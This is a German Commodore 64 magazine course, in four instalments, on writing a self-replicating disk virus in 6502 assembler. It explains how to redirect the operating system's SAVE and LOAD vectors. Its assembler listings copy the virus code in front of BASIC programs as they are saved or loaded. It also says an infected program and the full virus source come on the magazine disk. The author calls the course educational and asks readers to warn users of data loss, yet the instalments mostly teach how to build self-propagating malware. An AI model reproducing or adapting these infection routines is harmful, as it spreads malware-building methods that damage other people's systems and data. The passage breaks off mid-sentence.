Hack-Meck ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Lange wurde er angekündigt - jetzt ist er endlich da: der Virusprogrammierkurs! In den folgenden Ausgaben möchten wir Sie in der Rubrik Hack-Meck im Rahmen dieses Kurses in die Funktionsweise ei- nes Virus einführen. Am Ende werden Sie in der Lage sein, sich einen eigenen Vi- rus programmieren und die Anatomie eines jeden Exemplars untersuchen zu können, um so zum Beispiel einen Viruskiller zu einem beliebigen Virus schreiben zu kön- nen. Doch nun gebe ich das Wort an unseren "Virenspezialisten":
Ich möchte an dieser Stelle darauf hin- weisen, daß dies ein überaus brisantes Thema ist, mit dem man nicht spaßen sollte, denn ein Virus ist ein eigen- ständiges Programm und bösartige Viren können verheerende Folgen haben, die nicht zuletzt auch den Programmierer selber treffen können! Ich selbst bin bei der Programmierung auf meinen eigenen Virus hereingefallen, als er sich plötzlich vor meinen Assemb- ler gehängt hatte, weil ich vergaß, daß er noch aktiviert war. Dieser Kurs ist nur zur Verständlichmachung eines Virus gedacht, nicht aber um Schaden anzurich- ten! Achten Sie also darauf, Ihren Virus
so zu programmieren, daß er den Benutzer vor eventuellem Datenverlust warnt. Un- ser Magic Disk Virus arbeitet nach demselben Prinzip. Sie haben sich mit Sicherheit auch schon einmal über den Verlust eines wichtigen Quellcodefiles geärgert, und: was Du nicht willst, daß man Dir tu, das füg' auch keinem andern zu ... Da Sie sich ja nun hoffentlich der Ge- fahr eines Virus bewußt sind, möchte ich nun endlich zur Ausführung schreiten.
Ich werde versuchen, den Kurs möglichst leichtverständlich zu halten, doch ist es unerläßlich, wenigstens den Assemb- lerbefehlssatz des C64 zu kennen. Denn ein Virus kann nur in Assembler ge- schrieben werden, da er ein Programm ist, das nahe am System arbeitet und so- mit nur Hand in Hand mit dem Betriebs- system des C64 (bestehend aus reinem Assemblercode) wirklich effektiv wirksam ist. Beginnen wir also Schritt für Schritt mit der Planung unseres Virus, den Sie am Ende in seiner endgültigen Version testen dürfen. In der nächsten Ausgabe wird er der Magic Disk 64 beigefügt sein.
Definieren wir zunächst erst einmal den Begriff "Virus": Wie mittlerweile (nach dem BHP-Virus) überall bekannt sein dürfte, ist ein Vi- rus ein kleines aber effektvolles Pro- gramm, das sich auf Diskette vermehrt, und zwar ganz still und leise, ohne daß der Benutzer direkt etwas davon spürt. Das heißt im Klartext: wird ein System von einem Virus befallen, so versucht dieser (so lange wie er aktiv ist) sich zu vermehren. Bei jeder sich bietenden Gelegenheit versucht er, sich auf einen Datenträger, sprich eine Diskette, zu kopieren. Somit ist die Chance größer,
daß ein "geheiltes" System wieder infi- ziert wird; nämlich einfach dadurch, daß ein infiziertes Programm gestartet wird. Obendrein haben manche Viren auch noch zusätzliche Funktionen, die den Benutzer hin und wieder auf ihre Anwesenheit auf- merksam machen. Zum Beispiel kann es vorkommen, daß plötzlich ein kleiner Käfer über den Bildschirm krabbelt, daß der Cursor verrückt spielt oder Ähn- liches. Meistens sind Viren sogar so hartnäckig, daß man sie nur noch mit einem brutalen Abbruch der Stromzufuhr, sprich dem Ausschalten des Computers, stoppen kann.
Diese typischen Merkmale eines Virus wollen wir hier nochmal in einer Tabelle zur besseren Übersicht zusammentragen, denn diese Funktionen soll unser kleiner Freund später ja auch besitzen: 1) "Fortpflanzung" auf andere Disketten, um die Art zu erhalten.
2) Speicherresistenz, d.h. Schutz vor RESET und RUN/STOP-RESTORE
3) Kleiner Hinweis auf die eigene Exis- tenz.
Beginnen wollen wir mit dem ersten und zugleich auch schwierigsten Punkt: die Artenerhaltung. Da dieses Thema aller- dings sehr ausgedehnt ist, muß ich Sie leider hiermit auf die nächste Ausgabe der Magic Disk vertrösten, in der wir dann endlich zur Praxis übergehen und mit der Programmierung beginnen möchten.
Virus-Programmierkurs ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Sicher haben Sie schon gespannt auf das Erscheinen der Augustausgabe von Magic Disk 64 gewartet. Denn in unserem Virus- Programmierkurs wird's jetzt langsam ernst. Heute wollen wir uns - wie in der letzten Ausgabe besprochen - um die Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde Nachkommen haben wird! An dieser Stelle sei noch erwähnt, daß sich auf der Magic Disk folgende Pro- gramme befinden, die alle mit diesem Kurs zusammenhängen:
"MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus dient. Der Syntax-Error am Programmende gehört so und ist kein Programmfehler! "MDV-SOURCE" ist der Sourcecode (=Quell- code) im Hypra-Ass-Format zum Virus. Falls Sie Hypra-Ass nicht besitzen, so hilft Ihnen sicherlich "MDV-SOURCE.ASC" weiter. Das ist der Source-Code als ASCII-File gespeichert. Dieser kann ohne Probleme mit GET# von der Diskette gelesen und ausgedruckt werden.
Doch nun wollen wir ans "Eingemachte" gehen und uns mit der Programmierung selbst befassen. Zuerst wollen wir uns überlegen, wann die Brunftzeit (die Zeit, an der sich der Virus vermehrt) für unser kleines Tierchen am günstigsten ist. Da sticht der Vorgang des Diskettenzugriffs natür- lich sofort ins Auge, denn dann ist es am unauffälligsten, da die Diskettensta- tion sowieso läuft. Und außerdem teilt uns der Programmierer bei einer solchen Aktion auch gleich mit, wie man ein zu infizierendes Programm beim Namen nennt. Man muß also nicht noch aufwendig auf der Diskette nach Programmen und deren Namen suchen.
Gesagt - getan. Um dies zu verwirkli- chen, müssen wir prinzipiell nur den Speichervorgang an sich abfangen können. Das heißt, unser Virus muß sich immer dann einschalten, wenn das Betriebs- system des C64 vom Benutzer dazu bewegt wird, Daten zum Floppy zu schicken. Dieses Problem kann sehr einfach gelöst werden. Das Betriebssystem benutzt näm- lich einen Vektor, der auf die eigent- liche Save-Routine zeigt. Zur Erklärung: Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High-Format auf ein entsprechendes Unterprogramm zeigt. Vek- toren können mit indirekten Sprüngen adressiert werden. Speichert man z.B. in
den Speicherzellen $1000 und $1001 die Werte $af und $c0, so wird bei dem Maschinensprachebefehl JMP ($1000) die Adresse $c0af angesprungen. Der SAVE-Vektor steht in den Speicher- zellen $0332 und $0333 (=dezimal 818 und 819). Bei jedem SAVE-Befehl wird indi- rekt über diesen Vektor gesprungen. Ein idealer Platz also für einen Virus, um in das Geschehen einzugreifen. Er muß nur bei seiner (einmaligen) Initiali- sierung diesen Vektor auf eine eigene Routine "verbiegen". Bis zum Ausschalten des Computers wird dann bei jedem SAVE- Befehl die eigene Routine angesprungen.
Zur Vervollständigung des Gesagten sei noch erwähnt, daß dieser Vektor eigent- lich schon mitten in der SAVE-Routine angesprungen wird. Doch das ist für uns nur von Vorteil, da er genau dann aufge- rufen wird, nachdem alle Voreinstellun- gen erledigt wurden, und wir diese des- wegen nicht noch selbst erledigen müs- sen. Um diesen Vorgang genauer zu erläu- tern, muß ich Ihnen zunächst die SAVE- Routine etwas näher beschreiben: Wie Sie ja vielleicht wissen, wird die SAVE-Routine des Betriebssystems mit dem Befehl JSR $FFD8 aufgerufen. Vorher muß man aber noch einige Parameter wie Lauf- werk, Programmname, Start- und End- adresse etc. festlegen. Diese Parameter
werden folgendermaßen übergeben: SETPAR setzt Geräte- und Sekundäradresse SETNAM übergibt Programmnamen und -Länge Jetzt müssen Anfangs- und Endadresse in zwei Speicherzellen in der Zeropage festgelegt werden. Am besten eignen sich die Adressen $FB und $FC, da sie vom Betriebssystem sonst nicht verwendet werden. Nun den Zeiger auf die erste dieser Speicherzellen in den Akku laden, Endad- resse des abzuspeichernden Bereichs in X und Y-Register laden und SAVE aufrufen.
Damit das verständlicher wird, folgt hier zunächst das Quellisting einer Maschinenspracheroutine, die den Spei- cherbereich von $0801 bis $11AB unter dem Namen "DEMOSAVE" auf Diskette abspeichert:
10 -.ba $c000 ;Basisadresse 20 -.eq save = $ffd8 ;Konstanten- 30 -.eq setpar = $ffba ;definitionen 40 -.eq setnam = $ffbd ; 50 -; 100 - lda #$01 ;Filenummer 110 - ldx #$08 ;Geräteadresse 120 - ldy #$01 ;Sekundäradresse 130 - jsr setpar ;Parameter setzen 140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low 160 - ldy #|(name) ;Adresse high 170 - jsr setnam ;Namen setzen 180 - ldx #$01 ;Anfangsadresse low 190 - ldy #$08 ;Anfangsadresse high 200 - stx $fb ;in $fb und $fc 210 - sty $fc ;zwischenspeichern 220 - lda #$fb ;Zeiger auf Speicher 230 - ldx #$ab ;Endadresse low 240 - ldy #$11 ;Endadresse high 250 - jsr save ;SAVE anspringen 260 - rts ;fertig! 270 -; 280 -name .tx "demosave"
Werfen wir nun einen kleinen Blick "hin- ter die Kulissen" - sprich ins Betriebs- system. Dabei beginnen wir an der Stel- le, an der auch die SAVE-Routine beginnt, nämlich bei Adresse $FFD8. Hier ein kleiner Auszug, wie Sie ihn sich mit einem Disassembler bzw. Speichermonitor auch "live" ansehen können: FFD8 JMP $F5DD Es wird also nur ins Innere des Systems weitergesprungen. Dort verfolgen wir das Betriebssyetem weiter: F5DD STX $AE ;Low-Byte Endadresse speichern
F5DF STY $AF ;High-Byte Endadresse speichern F5E1 TAX ;Zeiger auf Anfangs- adresse ins X-Register F5E2 LDA $00,X ;Low-Byte der Anfangs- adresse holen F5E4 STA $C1 ;und speichern F5E6 LDA $01,X ;dasselbe mit dem F5E8 STA $C2 ;High-Byte F5EA JMP ($0332);Save-Vektor
Sie sehen, daß erst in der letzten Zeile auf die SAVE-Routine verzweigt wird. Die übrigen Zeilen sind nur dazu da, die Pa- rameter für später zwischenzuspeichern.
Hier also ist der Punkt, an dem unser Virus eingreifen darf. Er sollte somit auch alle Funktionen übernehmen, die das Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch mitspeichert. Um herauszufinden, was genau er da tun soll, verfolgen wir die normale Saveroutine weiter: Einsprung über Vektor $0332/$0333 von $F5EA: F5ED LDA $BA ;Geräteadresse laden F5EF BNE $F5F4 ; wenn <| 0 dann weiter F5F1 JMP $F713 ;"ILLEGAL DEVICE NUMBER ERROR" ausgeben F5F4 CMP #$03 ;vergleiche mit Bild-
schirmcode F5F6 BEQ $F5F1 ;wenn ja, dann Fehler F5F8 BCC $F659 ;wenn <3, dann Sprung zu Test auf RS232 oder Cassette F5FA LDA #$61 ;Sekundäradresse F5FC STA $B9 ;zwischenspeichern F5FE LDY $B7 ;Filenamenlänge holen F600 BNE $F605 ;|0, dann weiter F602 JMP $F710 ;"MISSING FILE NAME ERROR" ausgeben F605 JSR $F3D5 ;Filename auf IEC-Bus F608 JSR $F68F ;"SAVING" ausgeben F60B LDA $BA ;Geräteadresse laden F60D JSR $ED0C ;und LISTEN senden F610 LDA $B9 ;Sekundäradresse holen F612 JSR $EDB9 ;und für LISTEN senden
F615 LDY #$00 ;Zähler auf 0 setzen F617 JSR $FB8E ;Startadresse nach $AC/$AD kopieren F61A LDA $AC ;Startadr.-Low laden F61C JSR $EDDD ;und senden F61F LDA $AD ;Startadr.-High laden F621 JSR $EDDD ;und senden Ab hier (also ab $F624) folgt noch eine kleine Routine, die jedes Byte bis zur Endadresse durchgeht, mit der Routine bei $EDDD an die Floppy sendet und an- schließend das File wieder schließt und zurückspringt.
Wie Sie sehen, ist der erste Teil nur dazu da, die Geräteadresse zu überprüfen und die entsprechenden Fehlermeldungen auszugeben. Anschließend kommt erst der Anfang der eigentlichen Saveroutine. Hier wird dann das "saving" ausgegeben und der Floppykanal geöffnet. Bis zur Adresse $F617 alles Dinge, die für uns unwichtig sind, und die wir auch einfach in unserem Virus übernehmen werden, damit er auch voll kompatibel zum Betriebssystem ist. Erst ab $F61A wird es für uns interes- sant. Hier werden nämlich Low- und High- byte der Anfangsadresse des zu savenden Bereichs an die Floppy geschickt, damit
die Loadroutine später weiß, wohin sie das eingeladene Programm legen soll. Dieser Teil ist deshalb so wichtig für uns, weil wir unseren Virus grundsätz- lich nur vor Programme kopieren lassen wollen, die an den normalen Basicstart (also $0801) geladen werden, da man hier davon ausgehen kann, daß das entsprech- ende Programm mit RUN gestartet werden muß. Würde sich der Virus auch vor Maschinenprogramme kopieren, die bei- spielsweise bei $C000 anfangen, dann könnte das verheerende Folgen haben, da er selbst ja ein mit RUN startbares Pro- gramm ist und man ihn nicht einfach mit einem SYS starten kann.
Also müssen wir an dieser Stelle über- prüfen, an welcher Stelle sich das zu savende Programm befindet. Ist das nicht $0801, so hält sich unser Virus schön brav im Hintergrund und tut gar nichts. Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren. Also bauen wir an dieser Stelle noch ein paar Vergleichsbefehle ein:
LDA $AC ;Lo-Byte Anfangsadresse CMP #01 ;= $01? BEQ LAB1 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB1 JSR $EDDD ;Lo-Byte senden LDA $AD ;Hi-Byte Anfangsadresse CMP #$08 ;= $08?
BEQ LAB2 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB2 JSR $EDDD ;Hi-Byte senden CPY #$01 ;Flag gesetzt? BNE OKAY ;nein, also vermehren! LDY #$00 ;Ja, Y zurücksetzen JMP $F624 ;normal weitersaven
Hier die genaue Funktionsweise: Das Y- Registerwurde bei $F615 ja mit 00 gela- den. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der
Virus kopieren. Ansonsten verzweigt das Programm in die normale Saveroutine. In dieser Form konnten wir die Assemb- lerbefehle bisher aus dem Betriebssystem übernehmen. Jetzt müssen wir auch einmal etwas eigenes leisten, nämlich eine Rou- tine schreiben, die den Virus an die Floppy sendet. Bis jetzt sind der Flop- pykanal geöffnet und die Startadresse übergeben. Normalerweise würde jetzt das zu savende Programm kommen, doch das soll ja gerade nicht der Fall sein. Wir müssen zuerst den Virus an die Floppy senden und dann das eigentliche Pro- gramm. Dieses Problem lösen wir folgen- dermaßen:
OKAY LDA #<(DATA) ;Lo-Anfangsadresse STA $FB ;des Virus setzen LDA #|(DATA) ;dasselbe mit dem STA $FC ;Highbyte LDA #<(ENDE) ;Lo-Endadresse STA $F9 ;setzen LDA #|(ENDE) ;dasselbe mit dem STA $FA ;Highbyte LDY #$00 ;Zähler löschen LOOP LDA ($FB),Y ;Zeichen laden JSR $EDDD ;und senden JSR INCCOUNT ;Zähler um 1 erhöhen BCC LOOP ;Weiter, wenn noch nicht Endadresse JSR SAVECONT ;Wenn doch, dann Programm saven
Zur Dokumentation: Am Anfang setzen wir Start- und Endadresse. Die Endadresse hinterlegen wir in $F9/$FA, da die INCCOUNT-Routine diese Werte zum Ver- gleichen braucht. Diese Routine steht in unserem Source-Listing übrigens ab Zeile 8210 und soll an anderer Stelle näher erläutert werden. Soviel sei aber schon hier gesagt: Die Routine erhöht den Zeiger in $FB/ $FC und vergleicht ihn mit der Endad- resse, die wir ja in $F9/$FA abgelegt haben. Sind beide Adressen gleich, so setzt sie das Carryflag, womit die Ab- frage nach JSR INCCOUNT zu erklären ist. Ist das Carryflag gelöscht, so ist das
Ende noch nicht erreicht und die Schleife wird wiederholt. Im Anschluß wird dann wieder die normale Saveroutine des Betriebssystems angesprungen, um das eigentliche Programm abzuspeichern. In der Konstanten SAVECONT ist die Zahl bzw. Adresse $F624 gespeichert. Hiermit sind wir am Ende des zweiten Teils des Virusprogrammierkurses ange- langt. Die oben beschriebene Saveroutine finden Sie ab Zeile 2220 im Source- listing, allerdings mit zwei kleinen Abweichungen. Die eine hat mit der Ver- mehrung beim Laden zu tun, die wir näch- sten Monat besprechen wollen. Und die
andere ist für den kleinen Gag zustän- dig, mit dem der Virus auf sich aufmerk- sam machen soll. Bis zum nächsten Teil bleibt uns nur noch, Ihnen viel Spaß in Ihrer Aktivität als Virologe zu wünschen.
Viruskurs, 3.Teil ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Endlich geht es weiter. Der 3.Teil unseres Viruskurses liegt vor Ihnen! Heute geht es um die Vermehrung beim Laden, die sich von der beim Saven, wie wir sie ja letzten Monat besprochen haben, nur geringfügig unterscheidet. Wie gesagt kann sich unser kleiner Freund mittlerweile auch schon vermeh- ren. Dies tut er, indem er sich sozusagen über einen Vektor in die Saveroutine des Betriebssystems 'einklinkt' und diese steuert. Genau wie bei einem richtigen, biolo- gischen Virus, greift er in die DNA (Datenstruktur einer Zelle, in der alle
Informationen über den Körper, zu dem die Zelle gehört, gespeichert sind) seines Rechners (also dem Betriebssys- tem) ein, und ändert sie so ab, daß sie seiner Fortpflanzung dient. Der Trick dabei ist, daß er bei seinem 'Erwachen', sprich seinem Aufruf, einen Vektor, der auf die Saveroutine zeigt, auf seine eigene Saveroutine verbiegt. Dieser Vektor war für die Saveroutine der Vektor bei $0332/$0333. Für die Loadroutine ist dieser Vektor bei $0330/$0331. Und auch über diesen Vektor wird unser Virus aktiv, das heißt, er erwacht ebenfalls, wenn man
ein Programm laden will, und auch hier muß er, wie beim Saven auch, alle Arbeit allein tun, d.h. wir müssen uns zuerst einmal die Struktur der Loadroutine ansehen, um den Virus auch die richtigen Anweisungen geben zu können. Nun, wie wir ja wissen, hat die Load- routine auch ihren Platz im Betriebssys- tem, nämlich ab Adresse $FFD5. Ab dieser Adresse folgt nun ein Memory-Dump, so wie wir das auch bei der Saveroutine praktiziert haben: FFD5 JMP $F49E Auch hier wird einfach nur in das 'In-
nere' des Betriebssystemroms hineinge- sprungen. Dies ist übrigens eine Ein- richtung, die Commodore bei allen 'klei- nen' Homecomputern eingeführt hat. Es handelt sich dabei um eine Sprungta- belle am Ende des Betriebssystems, in der Routinen angesprungen werden, die auf allen Rechnern dieselbe Funktion erfüllen, aber bei jedem Rechner an einer anderen Stelle stehen. So kann man mit dem selben JMP-Befehl z.B. auch die LOAD-Routine des C16 oder des VC20 anspringen, da dann ab der Adresse $FFD5 auf die entsprechende Routine des Rechners gesprungen wird.
Dies hat man getan, um Programme teil- weise kompatibel zu machen, somit ist das Umschreiben von Assemblerroutinen einfacher (soweit die Hardware dies erlaubt), da man nicht die einzelnen Sprungadressen verändern muß. Nun aber weiter bei unserem Virus, werfen wir doch jetzt einmal einen Blick nach $F49E:
f49e stx $c3 ;Startadresse f4a0 sty $c4 ;merken f4a2 jmp ($0330) ;jmp $f4a5
Sie sehen, auch hier eine Parameterzwi- schenspeicherung, bevor über den Vektor
auf die Loadroutine gesprungen wird. Da sich in dem Vektor normalerweise die Werte $A5 und $F4 (in $0330 und $0331) befinden, wird hier auch auf Adresse $F4A5 gesprungen. Die Befehle ab hier sollten also auch von unserem Virus aus- geführt werden:
f4a5 sta $93 ;LOAD/VERIFY-Flag merken f4a7 lda #$00 ;Status f4a9 sta $90 ;löschen f4ab lda $ba ;Geräteadresse laden f4ad bne $f4b2 ;ungleich 0, also weiter f4af jmp $f713 ;'ILLIGAL DEVICE NUMBER' ;ausgeben f4b2 cmp #$03 ;vergleiche mit Code ;für Bildschirm
f4b4 beq $f4af ;Ja, dann Fehler! feb6 bcc $f533 ;kleiner 3, dann vom ;Band *********** Ab hier IEC-Load ***********
f4b8 ldy $b7 ;Länge des Filenamens ;laden f4ba bne $f4bf ;ungleich 0, dann ok. f4bc jmp $f710 ;'MISSING FILENAME' ;ausgeben f4bf ldx $b9 ;Sekundäradresse laden f4c1 jsr $f5af ;'SEARCHING FOR' und ;Filename ausgeben f4c4 lda #$60 ;Sekundäradresse 0 f4c6 sta $b9 ;laden und merken f4c8 jsr $f3d5 ;File auf IEC-Bus ;öffnen
f4cb lda $ba ;Gerätenummer laden f4cd jsr $ed09 ;und TALK senden f4d0 lda $b9 ;Sekundäradresse laden f4d2 jsr $edc7 ;und senden f4d5 jsr $ee13 ;Byte vom IEC-Bus holen f4d8 sta $ae ;als Startadresse-LO ;speichern An dieser Stelle ist es wichtig, daß unser Virus sich wieder einschaltet. Er muß nämlich nun wieder testen, ob es sich hierbei um ein File handelt, daß ab $0801 geladen wird. Sie errinnern sich - wir hatten ja vor, den Virus so zu schreiben, daß er kei- nerlei Daten zerstören kann. Dies könnte er tun, wenn er ein File infiziert, das
nicht ab $0801 geladen wird. Da er ja mit RUN gestartet werden muß, und bei Files, die nicht an diese Adres- se geladen werden, mit ziemlicher Wahr- scheinlichkeit damit gerechnet werden kann, daß sie auch nicht mit RUN gestar- tet werden, sondern meist Maschinenpro- gramme sind, die mit SYS-Befehlen aufgerufen werden. Das obige Listing entspricht nun bis jetzt haargenau unserem Quellcodelisting ab Zeile 1150-1480 (diese Befehle ändern sich ja nicht, trotzdem muß sie der Virus ausführen, also übernehmen wir sie einfach). Nun folgen mehrere Befehle, durch die der Virus testet, ob das
momentan zu ladende File bei $0801 beginnt:
1400 - cmp #01 ;vergleiche LO-Byte- ;Startadr. mit 01 1410 - bne cbmload1 ;ungleich, dann mit ;Betriebssystem ;normal weiterladen
Hier wird nun verglichen, ob das LO-Byte der Anfangsadress ($0801) übereinstimmt. Ist dies nicht der Fall, so wird einfach weiterverzweigt auf einen JMP $f4da, dieser Befehl steht im Sourcecode in Zeile 1580. Nun weiter im Listing, das ab nun wieder ein kleines Stück des Betriebssystems
enthält: 1420 -:
1430 - lda $90 ;Status laden 1440 - lsr ;Bit 1 ins Carry 1450 - lsr ;schieben 1460 - bcs loaderror ;falls gesetzt, ;dann Timeout ;(Ladefehler) 1470 - jsr $ee13 ;Startadresse-HI 1480 - sta $af ;holen und merken
Eigentlich nur ein kleiner Errorcheck, also ob beim Diskzugriff nicht doch ein Busfehler aufgetaucht ist. Die Verzwei- gung auf das Label LOADERROR ist eine Verzweigung auf ein JMP $F704. Diese
Routine gibt schlicht und einfach ein 'FILE NOT FOUND' aus. Der Sprungbefehl steht im Quellcode- listing in Zeile 1560. Solche Branch-Verzweigungen auf Sprung- befehle sind übrigens unbedingt notwen- dig, da bei Branch-Verzweigungen grund- sätzlich nur um 128 Bytes jeweils in den vorangehenden, oder in den nachfolgenden Speicher gesprungen werden kann. Ab Zeile 1470 haben wir nun wieder die Befehlssequenz, die ein Byte holt und es als Startadresse-HI zwischenspeichert. Hier nun also wieder unsere gewohnte Vergleichssequenz, ob also, nachdem das LO-Byte mit $0801 übereinstimmte, dies auch bei dem HI-Byte zutrifft (hätte das
LO-Byte nicht gestimmt, dann würde jetzt sowieso schon die LOAD-Routine im Betriebssystem weiterarbeiten...).
1500 - cmp #08 ;vergleiche mit 8 1510 - bne cbmload2 ; wenn nein, dann ;weiter im ;Betriebssystem 1520 - jsr $f4e5 ;springe auf rest- ;liche Loadroutine 1530 - bcc inftest ;Wenn kein Fehler, ;dann weiter, 1540 - rts ;andernfalls Ende 1550 -;******************************** 1560 -loaderror jmp $f704 1570 -xf533 jmp $f533 1580 -cbmload1 jmp $f4da
1590 -cbmload2 jmp $f4e5 1600 -;********************************
Nach unserem Vergleich wird auf die restliche Loadroutine als Unterroutine (JSR) gesprungen, um das File ganz schlicht und einfach von Disk zu laden. Wenn aus der Loadroutine zurückgekehrt wurde, geht es weiter mit einem Test, ob während des Ladens ein Fehler aufgetre- ten ist (die Loadroutine gibt ein ge- setztes Carrybit zurück, sollte ein Fehler aufgetreten sein). Wenn ein Fehler aufgetreten ist, dann wird einfach wieder zurückgesprungen, und der Virus bleibt friedlich. Ist kein Fehler aufgetreten, wird zur
nächsten Routine verzweigt. Sie heißt INFTEST und beginnt ab Zeile 1610. Das, was nun weiter geschehen wird, wollen wir in der nächsten Ausgabe besprechen. Der weitere Verlauf ist zwar relativ einfach zu erläutern, doch muß ich Ihnen noch einige Hinweise auf ein Routine am Anfang der Loadroutine geben. Ich verabschiede mich nun also bis zum nächsten Monat und wünsche weiterhin ein 'Allzeit, gut Hack!'
Virenprogrammierkurs ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Nach einem Sommermonat langen Wartens ist er nun end- lich da: Der 4. Teil des Virenprogrammierkurses! Heute geht es wieder um das komplexe Thema der Fort- pflanzung beim Laden. Wie schon im letzten Teil erwähnt fehlt uns nur noch der Rest der LOAD-Vermehrung und noch eine kleine Routine, die am Anfang der Virus-Load-Routine steht. Und um genau diese Routine geht es heute. Sie erinnern sich: Wir hatten gesagt, daß wir alle Befehle aus dem Betriebssystem übernehmen wollen, so daß die ganz normale LOAD-Routine ausgeführt wird, mit dem Unterschied, daß sich unser Virus dann hinzu- schalten kann, wann ER möchte! Dies muß er schon gleich am Anfang tun, nämlich dort, wo über den Vek- tor in die LOAD-Routine eingesprungen wird, und zwar, um sich den Filenamen des Programms zu merken, daß geladen werden soll. Dieser wird normalerweise ja schon von Basic irgendwo im Speicher abgelegt.
Anschließend übergibt BASIC der LOAD-Routine die Ad- resse und Länge des Filenamens mit Hilfe der SETNAM- Routine. Diese steht im Betriebssystem bei $FFBD und wird folgendermaßen aufgerufen: X-Register: LO-Byte der Adresse des Filenamens Y-Register: HI-Byte der Adresse des Filenamens Akku : Länge des Filenamens Zum besseren Verständnis hier ein Beispiel:
8000 LDA #$04 8002 LDX #$0A 8004 LDY #$80 8006 JSR $FFBD 8009 RTS 800A .TX "NAME"
Es werden also die Adresse des Filenamens (hier: $800A) und die Länge des Filenamens (hier 4) überge- ben.
Die Routine SETNAM macht nun nichts anderes, als diese Werte, die ja nachher beim Laden wichtig sind, in drei Speicherzellen in der Zeropage zwischenzu- speichern. Diese Speicherzellen sind $BB und $BC für die Namensparameter. In Speicherzelle $B7 wird die Länge des Namens zwischengespeichert. Leider bleiben diese Werte dort nicht bis in alle Ewigkeiten stehen. Sie gehen im Laufe der LOAD-Routine verloren, da diese Speicherzellen noch anderweitig verwendet wer- den. Der Filename z.B. wird vom Betriebssystem an das Ende des normalen Basic-Arbeitsspeichers gelegt. Und dort ist er leider nicht genug geschützt. Ein langes Programm überschreibt ihn einfach beim Laden. Wir müssen uns diese Werte und den Filenamen also "merken", bevor wir die LOAD-Routine auf diese Bereiche loslassen. Und genau das tut unsere kleine Routine von Zeile 1020 bis 1130. Wie immer folgt nun eine kleine Doku- mentation, die Ihnen die Funktion der Routine erläu- tern soll:
1020 -LOAD PHA ;Akku retten 1030 - LDA FILELO ;LO-Adresse des 1040 - STA $FB ;Namens setzen 1050 - LDA FILEHI ;HI-Adresse des 1060 - STA $FC ;Namens setzen 1070 - LDY FILELENG ;Länge des Namens 1080 - STY LENGNAM ;setzen 1090 -LOOP2 LDA ($FB),Y ;Name kopieren 1100 - STA NAMEBUFF+2,Y 1110 - DEY ;Zähler vermindern 1120 - BPL LOOP2 ;Fertig? 1130 - PLA ;Akku zurückholen
In Zeile 1020 wird erst einmal der Akku auf den Sta- pel geschoben, da wir seinen Inhalt später wieder brauchen. Um dies verständlich zu machen, muß man zu- erst einmal wissen, welche Parameter die LOAD-Routine beim Aufruf benötigt. Ähnlich wie bei der SAVE-Routine müssen der LOAD-Rou- tine zuerst Filename, Filenummer, Geräte- und Sekun- däradresse des zu ladenden Files übergeben werden.
Dies geschieht, wie schon bei der SAVE-Routine, durch die Betriebssystemroutinen SETPAR ($FFBA) und SETNAM ($FFBD), welche wir ja schon beschrieben hatten. An- schließend kann erst die LOAD-Routine aufgerufen wer- den, und zwar mit den folgenden Parametern: X- und Y-Register enthalten die Startadresse des Pro- gramms, das geladen werden soll. Der Akku dient als LOAD/VERIFY-Flag. Wie wir ja vom letzten Teil des Kurses noch wissen, werden die Werte aus X und Y schon von der "Vorrou- tine" des Betriebssystems bei $F49E zwischengespei- chert, so daß deren Inhalt unwichtig wird und wir so- mit diese Register verwenden dürfen. Nur im Akku steht noch eine Information, die ebenfalls nicht ver- loren gehen darf, aber erst später vom Betriebssystem zwischengespeichert wird. Im Akku steht nämlich eine Information, die dem Betriebssystem sagt, ob ein LOAD oder nur ein VERIFY erfolgen soll.
Steht im Akku eine 0, so wird ein Programm ordnungs- gemäß geladen. Bei einer 1 allerdings wird nur das Programm auf der Diskette mit dem derzeitigen Spei- cherinhalt verglichen, eben die VERIFY-Funktion aus- geführt. Logischerweise müssen wir also den Akku erst einmal auf den Speicher retten. Weiter nun mit unserer Routine ab Zeile 1020: Nachdem nun der Akku endlich benutzbar wurde, werden als Erstes die Zwischenspeicherbytes der Adresse des Filenamens in die Adressen $FB und $FC umkopiert. Diese beiden Adressen befinden sich, wie Sie ja sehen (es werden nur 8 Bit benutzt), auch in der Zeropage. Sie sind zusammen mit den zwei folgenden Bytes $FD und $FE eine der Ausnahmen, die nicht vom Betriebs- system benutzt werden, sondern dem Assemblerprogram- mierer zur freien Verfügung stehen. Wir wollen mit Hilfe der indirekt-indizierten Adres- sierung den Filenamen auslesen.
Dies geschieht über einen Zeiger, den wir soeben durch unsere "Umkopiererei" ins Leben gerufen haben. Vorher sichern wir aber zuerst noch die Länge des Filenamens in einem Variablenbyte (LENGNAM). Dieses wurde im Assemblerquelltext definiert, und zwar als 6. Byte vor Beginn des Programms, ähnlich wie bei einigen weiteren Laufvariablen, die hauptsächlich von dem Gag-Programm am Ende verwendet werden. Übrigens: Die Namen FILELO, FILEHI und FILELENG sind Konstanten und ebenfalls am Anfang des Quelltextes definiert. Sie stehen für die Zwischenspeicherbytes des Filena- mens. Anschließend wird nun der Filename umkopiert. Einen Zähler für die Länge des Filenamens haben wir ja noch vom Umkopieren im Y-Register stehen. Also brauchen wir immer nur einen Wert herunterzuzählen und zu prü- fen, ob schon alle Bytes kopiert wurden. NAMEBUF ist übrigens auch ein Label für einen Speicher, diesmal am Ende des Quellistings, in dem 16 